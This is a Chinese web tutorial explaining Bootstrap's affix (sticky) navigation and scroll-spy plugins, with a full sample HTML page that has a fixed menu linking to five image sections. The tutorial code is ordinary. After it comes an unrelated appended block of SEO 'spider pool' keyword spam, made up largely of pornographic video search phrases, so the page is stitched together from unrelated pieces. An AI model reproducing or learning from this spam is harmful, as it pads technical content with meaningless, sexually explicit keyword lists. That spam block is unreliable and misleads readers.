          ootstrap框架中,附加導航可以實現某個 <div> 固定在頁面的某個位置。如果需向元素添加附加導航(Affix)行為,只需要向需要監聽的元素添加data-spy="affix"即可,使用偏移來定義何時切換元素的鎖定和移動。

          滾動監聽插件(scroll)是用來根據滾動條所處的位置來自動更新導航項的。

          案例的效果如下

          網頁文件nav5.html的代碼如下:

          <!doctype html>

          <html>

          <head>

          <meta charset="utf-8">

          <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">

          <title>附加導航</title>

          <link rel="stylesheet" href="css/bootstrap.css">

          <style type="text/css">

          *{

          margin:0px;

          padding:0px;

          }

          .cont1{

          height:2000px;

          }

          .nav-pills{

          width:170px;

          }

          .nav-pills.affix{

          top:150px;

          }

          .pic{

          padding:100px 0px;

          }

          </style>

          </head>

          <body data-spy="scroll">

          <div class="container">

          <div class="jumbotron" style="height:120px">

          <h2>追憶</h2>

          </div>

          <div class="row">

          <div class="col-xs-3">

          <ul class="nav nav-pills nav-stacked" data-spy="affix">

          <li class="active"><a href="#d1">1.夢想</a></li>

          <li><a href="#d2">2.愛心</a></li>

          <li><a href="#d3">3.讀書</a></li>

          <li><a href="#d4">4.時間</a></li>

          <li><a href="#d5">5.回憶</a></li>

          </ul>

          </div>

          <div class="col-xs-9">

          <div id="d1" class="pic">

          <h4>夢想的力量</h4>

          <img src="img/b1.jpg" />

          </div>

          <div id="d2" class="pic">

          <h4>愛心的付出</h4>

          <img src="img/b2.jpg" />

          </div>

          <div id="d3" class="pic">

          <h4>讀書的享受</h4>

          <img src="img/b3.jpg" />

          </div>

          <div id="d4" class="pic">

          <h4>時間的流失</h4>

          <img src="img/b4.jpg" />

          </div>

          <div id="d5" class="pic">

          <h4>回憶的美好</h4>

          <img src="img/b5.jpg" />

          </div>

          </div>

          </div>

          </div>

          <div class="cont1">

          </div>

          <script src="js/jquery-3.2.1.min.js"></script>

          <script src="js/bootstrap.js"></script>

          </body>

          </html>

          至此,案例制作完成。


          主站蜘蛛池模板: 国产精华液一区二区区别大吗| 暖暖免费高清日本一区二区三区| 中文字幕一区二区三区在线播放| 国产一国产一区秋霞在线观看 | 国产成人av一区二区三区不卡| 在线观看视频一区二区| 在线一区二区观看| 色婷婷av一区二区三区仙踪林| 欧美一区内射最近更新| 精品无码一区二区三区水蜜桃| 日本在线视频一区| 国产内射在线激情一区| 激情内射亚洲一区二区三区| 日韩一区二区超清视频| 免费无码一区二区| 国产一区二区内射最近更新| 亚洲高清一区二区三区| 成人免费视频一区二区| 亚洲日本一区二区| 国产精品一区二区三区久久| 亚洲日韩激情无码一区| 欧美成人aaa片一区国产精品| 福利一区福利二区| 国产电影一区二区| 国产日韩AV免费无码一区二区三区| 亚洲制服中文字幕第一区| 韩国精品一区视频在线播放| 日韩精品无码一区二区三区AV | 亚洲Av永久无码精品一区二区| 一区二区三区电影在线观看| 亚洲av无码一区二区三区天堂古代| 日韩一区二区三区电影在线观看 | 少妇激情av一区二区| 精品综合一区二区三区| 日韩精品无码一区二区三区不卡| 国产一区二区三区免费在线观看 | 国产精品视频一区| 久久精品国产一区二区三区日韩| 精品久久久中文字幕一区| 无码人妻久久久一区二区三区 | 久久精品国产一区二区电影|